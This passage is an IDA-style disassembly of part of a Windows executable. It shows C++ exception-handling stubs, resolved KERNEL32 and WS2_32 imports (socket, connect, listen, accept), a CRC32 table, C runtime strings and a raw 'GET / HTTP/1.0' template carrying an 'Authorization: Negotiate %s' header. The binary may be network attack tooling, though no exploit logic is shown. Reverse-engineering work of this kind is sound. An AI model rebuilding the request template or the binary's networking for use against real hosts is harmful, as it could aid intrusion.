loc_41ADDB: ; CODE XREF: seg000:0041ADD2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_41ADE1 proc near ; CODE XREF: sub_41AD6B+Ap
; sub_41AEB4+7p ...
mov eax, offset loc_41B1D0
call sub_4112A0
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_41B05D
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_402FA7
push ds:dword_41C228
mov ecx, edi
push 0
push ebx
call sub_402E54
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_41CC3C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_41ADE1 endp
; =============== S U B R O U T I N E =======================================
sub_41AE3E proc near ; CODE XREF: sub_41AE7B+20p
; DATA XREF: seg001:0041CF64o
mov eax, offset loc_41B1E4
call sub_4112A0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41CC3C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402FA7
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41B0A7
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41AE3E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE7B proc near ; DATA XREF: seg001:0041CC24o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41AEB4
lea eax, [ebp+var_1C]
push offset dword_41CF60
push eax
call sub_41B0FB
loc_41AE98: ; DATA XREF: seg001:off_41CC1Co
push esi
mov esi, ecx
call sub_41AE3E
test [esp+20h+var_18], 1
jz short loc_41AEAE
push esi
call sub_4112BF
pop ecx
loc_41AEAE: ; CODE XREF: sub_41AE7B+2Aj
mov eax, esi
pop esi
retn 4
sub_41AE7B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AEB4 proc near ; CODE XREF: sub_41AE7B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41ADE1
mov dword ptr [esi], offset off_41CC1C
mov eax, esi
pop esi
retn 4
sub_41AEB4 endp
; =============== S U B R O U T I N E =======================================
sub_41AECC proc near ; CODE XREF: sub_402E54+13p
; sub_403018+Ep
mov eax, offset loc_41B1F8
call sub_4112A0
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_402FA7
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_410B60
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_402FE3
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_41ACFA
lea eax, [ebp-3Ch]
push offset dword_41D088
push eax
mov dword ptr [ebp-3Ch], offset off_41CC4C
call sub_41B0FB
pop esi
sub_41AECC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AF26 proc near ; CODE XREF: sub_41AF63+20p
; DATA XREF: seg001:0041D08Co
mov eax, offset loc_41B20C
call sub_4112A0
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_41CC3C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_402FA7
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_41B0A7
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_41AF26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF63 proc near ; DATA XREF: seg001:0041CC54o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_41AF9C
lea eax, [ebp+var_1C]
push offset dword_41D088
push eax
call sub_41B0FB
loc_41AF80: ; DATA XREF: seg001:off_41CC4Co
push esi
mov esi, ecx
call sub_41AF26
test [esp+20h+var_18], 1
jz short loc_41AF96
push esi
call sub_4112BF
pop ecx
loc_41AF96: ; CODE XREF: sub_41AF63+2Aj
mov eax, esi
pop esi
retn 4
sub_41AF63 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41AF9C proc near ; CODE XREF: sub_41AF63+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41ADE1
mov dword ptr [esi], offset off_41CC4C
mov eax, esi
pop esi
retn 4
sub_41AF9C endp
; =============== S U B R O U T I N E =======================================
sub_41AFB4 proc near ; DATA XREF: seg002:0041E008o
; FUNCTION CHUNK AT 0041AFEA SIZE 0000000C BYTES
test ds:byte_45FB30, 1
jnz short loc_41AFC4
or ds:byte_45FB30, 1
loc_41AFC4: ; CODE XREF: sub_41AFB4+7j
call sub_41AFDE
test ds:byte_460EB8, 1
jnz short loc_41AFD9
or ds:byte_460EB8, 1
loc_41AFD9: ; CODE XREF: sub_41AFB4+1Cj
jmp loc_41AFEA
sub_41AFB4 endp
; =============== S U B R O U T I N E =======================================
sub_41AFDE proc near ; CODE XREF: sub_41AFB4:loc_41AFC4p
push offset nullsub_1
call sub_411680
pop ecx
retn
sub_41AFDE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41AFB4
loc_41AFEA: ; CODE XREF: sub_41AFB4:loc_41AFD9j
push offset nullsub_1
call sub_411680
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_41AFB4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41AFF8 proc near ; CODE XREF: sub_4026F4+5Ep
; sub_40318D+159p
jmp ds:dword_41C1B4
sub_41AFF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41AFFE proc near ; CODE XREF: sub_410F0C+23p
; sub_4111B0+13p
jmp ds:dword_41C13C
sub_41AFFE endp
; =============== S U B R O U T I N E =======================================
sub_41B004 proc near ; DATA XREF: seg001:off_41CC74o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_41B0A7
test [esp+4+arg_0], 1
jz short loc_41B01A
push esi
call sub_4112BF
pop ecx
loc_41B01A: ; CODE XREF: sub_41B004+Dj
mov eax, esi
pop esi
retn 4
sub_41B004 endp
; =============== S U B R O U T I N E =======================================
sub_41B020 proc near ; CODE XREF: sub_41ACFA+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_41CC74
push dword ptr [edi]
call sub_410B60
inc eax
push eax
call sub_411605
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_41B04F
push dword ptr [edi]
push eax
call sub_411B70
pop ecx
pop ecx
loc_41B04F: ; CODE XREF: sub_41B020+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_41B020 endp
; =============== S U B R O U T I N E =======================================
sub_41B05D proc near ; CODE XREF: sub_41ADE1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_41CC74
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_41B09A
push dword ptr [edi+4]
call sub_410B60
inc eax
push eax
call sub_411605
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_41B0A0
push dword ptr [edi+4]
push eax
call sub_411B70
pop ecx
pop ecx
jmp short loc_41B0A0
; ---------------------------------------------------------------------------
loc_41B09A: ; CODE XREF: sub_41B05D+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_41B0A0: ; CODE XREF: sub_41B05D+2Ej
; sub_41B05D+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_41B05D endp
; =============== S U B R O U T I N E =======================================
sub_41B0A7 proc near ; CODE XREF: sub_41AD88+2Bp
; sub_41AE3E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_41CC74
jz short locret_41B0BC
push dword ptr [ecx+4]
call sub_4112BF
pop ecx
locret_41B0BC: ; CODE XREF: sub_41B0A7+Aj
retn
sub_41B0A7 endp
; =============== S U B R O U T I N E =======================================
sub_41B0BD proc near ; DATA XREF: seg001:0041CC78o
mov eax, [ecx+4]
test eax, eax
jnz short locret_41B0C9
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_41B0C9: ; CODE XREF: sub_41B0BD+5j
retn
sub_41B0BD endp
; =============== S U B R O U T I N E =======================================
sub_41B0CA proc near ; CODE XREF: seg000:0041B0E2p
mov dword ptr [ecx], offset off_41CC94
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_41B0DE
push ecx
call sub_410C83
pop ecx
locret_41B0DE: ; CODE XREF: sub_41B0CA+Bj
retn
sub_41B0CA endp
; ---------------------------------------------------------------------------
loc_41B0DF: ; DATA XREF: seg001:off_41CC94o
push esi
mov esi, ecx
call sub_41B0CA
test byte ptr [esp+8], 1
jz short loc_41B0F5
push esi
call sub_4112BF
pop ecx
loc_41B0F5: ; CODE XREF: seg000:0041B0ECj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0FB proc near ; CODE XREF: sub_41ACA0+54p
; sub_41AD6B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_41CC98
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call ds:dword_41C16C ; RaiseException
pop edi
pop esi
leave
retn 8
sub_41B0FB endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41B138 proc near ; DATA XREF: seg001:0041CE64o
; FUNCTION CHUNK AT 00402D9C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_402D9C
sub_41B138 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_41B156
mov ecx, [ebp+8]
jmp loc_402D9C
; ---------------------------------------------------------------------------
locret_41B156: ; CODE XREF: seg000:0041B148j
retn
; ---------------------------------------------------------------------------
loc_41B157: ; DATA XREF: sub_402930o
mov eax, offset dword_41CE38
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_402D9C
; ---------------------------------------------------------------------------
loc_41B16C: ; DATA XREF: seg001:0041CE94o
lea ecx, [ebp-1Ch]
jmp loc_402D9C
; ---------------------------------------------------------------------------
loc_41B174: ; DATA XREF: sub_402AD2o
mov eax, offset dword_41CE68
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 10h
loc_41B180: ; DATA XREF: sub_40307Fo
mov eax, offset dword_41CE98
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_402D9C
; ---------------------------------------------------------------------------
loc_41B194: ; DATA XREF: sub_41ACA0o
mov eax, offset dword_41CF70
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
jmp sub_41B0A7
; ---------------------------------------------------------------------------
loc_41B1A8: ; DATA XREF: sub_41ACFAo
mov eax, offset dword_41CF98
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_41B0A7
; ---------------------------------------------------------------------------
loc_41B1BC: ; DATA XREF: sub_41AD88o
mov eax, offset dword_41CFE0
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_41B0A7
; ---------------------------------------------------------------------------
loc_41B1D0: ; DATA XREF: sub_41ADE1o
mov eax, offset dword_41D008
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_41B0A7
; ---------------------------------------------------------------------------
loc_41B1E4: ; DATA XREF: sub_41AE3Eo
mov eax, offset dword_41D030
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-20h]
jmp loc_402D9C
; ---------------------------------------------------------------------------
loc_41B1F8: ; DATA XREF: sub_41AECCo
mov eax, offset dword_41D098
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_41B0A7
; ---------------------------------------------------------------------------
loc_41B20C: ; DATA XREF: sub_41AF26o
mov eax, offset dword_41D0C0
jmp loc_410F5B
; ---------------------------------------------------------------------------
align 1000h
seg000 ends
; Section 2. (virtual address 0001C000)
; Virtual size : 00002000 ( 8192.)
; Section size in file : 00002000 ( 8192.)
; Offset to raw data for section: 0001C000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg001 segment para public 'CODE' use32
assume cs:seg001
;org 41C000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41C000 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_411914+Dr
dd 7C833478h
dword_41C008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; seg000:0041A999r
dword_41C00C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; seg000:0041A7F1r
dd 7C832044h, 7C812641h, 7C81DC03h, 7C80BCCFh, 7C809E01h
dword_41C024 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; seg000:00418979r
dword_41C028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_41C03C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_41C040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; seg000:00417941r
dword_41C044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW dd 7C80C058h
dword_41C04C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; seg000:00401C13r ...
dd 7C80A427h, 7C82FA46h
dword_41C058 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40380D+6Er ...
dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_41C068 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; seg000:loc_405136r ...
dword_41C06C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; seg000:00405108r ...
dword_41C070 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4047B6+B2r ...
dd 7C810A77h
dword_41C078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_4047B6+25r ...
dword_41C07C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; seg000:00408C8Dr ...
dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_41C08C dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_404134+5D7r
dword_41C090 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_41C094 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_4165C4+84r ...
dword_41C098 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_4169A2+4Fr
dword_41C09C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41C0A0 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_41C0A4 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41C0A8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40550F+443r
dword_41C0AC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_405D8E:loc_406224r ...
dword_41C0B0 dd 3B7574h ; sub_414942+15r ...
dword_41C0B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h
dword_41C0BC dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_41C0C0 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh
dword_41C0EC dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg000:0040F8C2r
dd 7C8310F2h, 7C814EEAh
dword_41C0F8 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; seg000:00408B6Cr ...
dd 7C831EABh, 7C8309E1h, 7C809920h
dword_41C108 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA dd 7C802520h, 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_41C11C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; seg000:00416DA1r ...
dword_41C120 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4128E9+54r ...
dd 7C8216A4h, 7C80DDF5h, 7C801E16h
dword_41C130 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_41C134 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_41237F+AFr ...
dword_41C138 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_41357B+2C4r ...
dword_41C13C dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh
dword_41C148 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_413BAF+28r
dd 7C801EEEh, 7C812F1Dh
dword_41C154 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_41C158 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_41C15C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_41C160 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_41C164 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_413C60+51r
dd 7C809E79h
dword_41C16C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_41B0FB+2Er
dword_41C170 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap dd 7C838DE8h
dword_41C178 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; seg000:00416CE1r ...
dd 7C812E76h, 7C809915h, 7C8127A7h
dword_41C188 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter dd 7C81DF77h, 0
dword_41C194 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40380D+8Er
dword_41C198 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_403790+15r
dword_41C19C dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_41C1A0 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41C1A4 dd 71AB3E00h ; resolved to->WS2_32.binddword_41C1A8 dd 71AB88D3h ; resolved to->WS2_32.listendword_41C1AC dd 71AC1028h ; resolved to->WS2_32.acceptdword_41C1B0 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40318D+115r
dword_41C1B4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_41C1B8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_41C1BC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403790+41r
dword_41C1C0 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40318D+74r ...
dword_41C1C4 dd 71AB406Ah ; resolved to->WS2_32.connectdword_41C1C8 dd 71AB615Ah ; resolved to->WS2_32.recvdword_41C1CC dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40318D+E4r ...
dword_41C1D0 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_403790+68r ...
align 8
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402AD2+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_41C218 dq 1.388888888888889e-2 ; DATA XREF: sub_4028E4+2Fr
dbl_41C220 dq 1.666666666666667e-1 ; DATA XREF: sub_4028E4+15r
dword_41C228 dd 0FFFFFFFFh ; sub_402DA4r ...
align 10h
dbl_41C230 dq 1.333333333333333 ; DATA XREF: sub_402930+79r
dword_41C238 dd 0 ; sub_402E54+5Bo ...
dword_41C23C dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dd 2 dup(0)
byte_41C644 db 0 ; DATA XREF: sub_412C3C+4Ar
align 2
dw 3F50h
dbl_41C648 dq -3.0517578125e-5 ; DATA XREF: sub_40F6B3+1Er
dbl_41C650 dq 1.0 ; DATA XREF: sub_410CB2+6Cr
; sub_410DFB+6Cr ...
dword_41C658 dd 0FFFFFFFFh, 412ABFh, 412AD3hbyte_41C664 db 6 ; DATA XREF: sub_412C3C:loc_412C93r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: seg002:off_42E18Co
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: seg002:off_42E188o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: seg002:off_42E3B4o
align 10h
dbl_41C790 dq 0.0 ; DATA XREF: sub_4143EF+8Cr
; sub_4143EF+ACr ...
dbl_41C798 dq 4.195835e6 ; DATA XREF: sub_414904+Fr
dbl_41C7A0 dq 3.145727e6 ; DATA XREF: sub_414904+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_414942+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_414942o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_414A69+93o
align 4
dword_41C7D8 dd 0FFFFFFFFh, 415154h, 41515Eh, 0dword_41C7E8 dd 0FFFFFFFFh, 0 dd offset loc_4152DA
align 8
dd offset sub_4152B8
; ---------------------------------------------------------------------------
retn 4152h
; ---------------------------------------------------------------------------
align 10h
dword_41C800 dd 0FFFFFFFFh, 41550Ah, 41550Eh, 0dword_41C810 dd 0FFFFFFFFh, 41556Ch, 415575h, 0dword_41C820 dd 0FFFFFFFFh, 0 dd offset loc_41563D
align 10h
dd offset loc_415629
dd offset loc_41562D
dword_41C838 dd 0FFFFFFFFh, 0 dd offset loc_415693
align 8
dd offset loc_41567F
dd offset loc_415683
dword_41C850 dd 2 dup(0) ; seg000:0041811Do ...
dword_41C858 dd 0FFFFFFFFh, 416CA4h, 416CA8h, 0FFFFFFFFh, 416D58h, 416D5Ch
; DATA XREF: seg000:00416B99o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
